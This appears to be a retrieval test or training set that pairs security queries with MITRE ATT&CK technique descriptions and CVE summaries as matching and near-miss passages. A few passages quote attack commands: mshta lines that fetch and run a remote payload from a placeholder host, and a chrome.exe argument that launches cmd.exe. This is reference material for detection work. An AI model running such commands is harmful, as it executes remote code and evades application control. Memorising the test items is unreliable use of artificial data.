Query: ATT&CK technique for Msiexec
Matching passage: T1218.007 Msiexec. Tactics: stealth. Description: Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft. Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)
Near-miss passage: T1218.009 Regsvcs/Regasm. Tactics: stealth. Description: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
Query: SIEM correlation: stealth activity consistent with Electron Applications
Matching passage: T1218.015 Electron Applications. Tactics: stealth. Description: Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1) Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe`).(Citation: Electron 6-8) Adversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)
Near-miss passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

Matching passage: CVE-2015-0624. CWE: CWE-20. CVSS: 4.300000190734863. The web framework in Cisco AsyncOS on Email Security Appliance (ESA), Content Security Management Appliance (SMA), and Web Security Appliance (WSA) devices allows remote attackers to trigger redirects via a crafted HTTP header, aka Bug IDs CSCur44412, CSCur44415, CSCur89630, CSCur89636, CSCur89633, and CSCur89639.
Near-miss passage: CVE-2015-0693. CWE: CWE-20. CVSS: 7.199999809265137. Cisco Web Security Appliance (WSA) devices with software 8.5.0-ise-147 do not properly restrict use of the pickle Python module during certain tunnel-status checks, which allows local users to execute arbitrary Python code and gain privileges via a crafted pickle file, aka Bug ID CSCut39259.
Query: adversary uses Deobfuscate/Decode Files or Information
Matching passage: T1140 Deobfuscate/Decode Files or Information. Tactics: stealth. Description: Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> or <code>type</code> command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)(Citation: Sentinel One Tainted Love 2023) Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016)
Near-miss passage: T1218.012 Verclsid. Tactics: stealth. Description: Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe) Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub)
Query: CVE similar to CVE-2015-0215
Matching passage: CVE-2015-0215. CWE: CWE-200. CVSS: 4.0. calendar/externallib.php in Moodle through 2.5.9, 2.6.x before 2.6.7, 2.7.x before 2.7.4, and 2.8.x before 2.8.2 allows remote authenticated users to obtain sensitive calendar-event information via a web-services request.

Near-miss passage: CVE-2015-8742. CWE: CWE-20. CVSS: 5.5. The dissect_CPMSetBindings function in epan/dissectors/packet-mswsp.c in the MS-WSP dissector in Wireshark 2.0.x before 2.0.1 does not validate the column size, which allows remote attackers to cause a denial of service (memory consumption or application crash) via a crafted packet.
Query: EDR alert: possible SVG Smuggling (T1027.017)
Matching passage: T1027.017 SVG Smuggling. Tactics: stealth. Description: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files.(Citation: Trustwave SVG Smuggling 2025) SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include `<script>` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files. SVG smuggling can take a number of forms. For example, threat actors may include content that: * Assembles malicious payloads(Citation: Talos SVG Smuggling 2022) * Downloads malicious payloads(Citation: Cofense SVG Smuggling 2024) * Redirects users to malicious websites(Citation: Bleeping Computer SVG Smuggling 2024) * Displays interactive content to users, such as fake login forms and download buttons.(Citation: Bleeping Computer SVG Smuggling 2024) SVG Smuggling may be used in conjunction with [HTML Smuggling](https://attack.mitre.org/techniques/T1027/006) where an SVG with a malicious payload is included inside an HTML file.(Citation: Talos SVG Smuggling 2022) SVGs may also be included in other types of documents, such as PDFs.
Near-miss passage: T1027.006 HTML Smuggling. Tactics: stealth. Description: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018) Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters. For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)
Query: patch priority for CVE-2015-3324
Matching passage: CVE-2015-3324. CWE: CWE-310. CVSS: 4.300000190734863. The ThinkServer System Manager (TSM) Baseboard Management Controller before firmware 1.27.73476 for ThinkServer RD350, RD450, RD550, RD650, and TD350 does not validate server certificates during an "encrypted remote KVM session," which allows man-in-the-middle attackers to spoof servers.
Near-miss passage: CVE-2015-1913. CWE: CWE-310. CVSS: 5.0. Rational Test Control Panel in IBM Rational Test Workbench and Rational Test Virtualization Server 8.0.0.x before 8.0.0.5, 8.0.1.x before 8.0.1.6, 8.5.0.x before 8.5.0.4, 8.5.1.x before 8.5.1.5, 8.6.0.x before 8.6.0.4, and 8.7.0.x before 8.7.0.2 uses the MD5 algorithm for password hashing, which makes it easier for remote attackers to bypass authentication via unspecified vectors.
Query: how to detect Startup Items
Matching passage: T1037.005 Startup Items. Tactics: persistence, privilege escalation. Description: Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items) This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.
Near-miss passage: T1037.002 Login Hook. Tactics: persistence, privilege escalation. Description: Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) Adversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter) **Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001)

Near-miss passage: CVE-2015-8577. CWE: CWE-264. CVSS: 2.5999999046325684. The Buffer Overflow Protection (BOP) feature in McAfee VirusScan Enterprise before 8.8 Patch 6 allocates memory with Read, Write, Execute (RWX) permissions at predictable addresses on 32-bit platforms when protecting another application, which allows attackers to bypass the DEP and ASLR protection mechanisms via unspecified vectors.
Query: detection engineering for Malicious Library
Matching passage: T1204.005 Malicious Library. Tactics: execution. Description: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023) In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.
Near-miss passage: T1204 User Execution. Tactics: execution. Description: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). Adversaries may also deceive users into performing actions such as: * Enabling [Remote Access Tools](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023) * Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204) * Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn) For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Tools](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)
